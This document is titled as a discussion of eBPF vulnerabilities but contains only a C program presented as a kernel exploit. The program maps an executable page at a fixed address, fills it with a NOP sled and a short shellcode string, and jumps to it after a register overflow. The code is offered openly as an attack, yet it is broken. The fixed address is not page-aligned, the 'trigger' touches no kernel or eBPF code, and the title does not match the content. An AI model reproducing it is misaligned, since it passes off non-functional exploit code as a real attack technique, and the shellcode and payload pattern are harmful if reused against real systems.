eBPF Vulnerabilities: Ecosystem and Security Model

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define TARGET_ADDR 0xdeadbeef
#define PAYLOAD_SIZE 1024

void exploit() {
    // Allocate memory with mmap
    void *addr = mmap((void *)TARGET_ADDR, PAYLOAD_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (addr == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    // Prepare payload
    char payload[PAYLOAD_SIZE];
    memset(payload, 0x90, PAYLOAD_SIZE); // NOP sled
    // Add shellcode or other malicious code here
    strcpy(payload + PAYLOAD_SIZE - 16, "\x48\x31\xc0\xb0\x69\x0f\x05"); // Example shellcode

    // Copy payload to target address
    memcpy(addr, payload, PAYLOAD_SIZE);

    // Trigger the vulnerability
    // This part is highly dependent on the specific vulnerability and kernel version
    // For illustration, we assume a function that miscalculates a 32-bit register
    asm volatile (
        "mov $0xFFFFFFFF, %eax\n"
        "add $1, %eax\n" // This will cause an overflow if not handled correctly
        "jmp *%0\n"
        :
        : "r"(TARGET_ADDR)
        : "eax"
    );
}

int main() {
    exploit();
    return 0;
}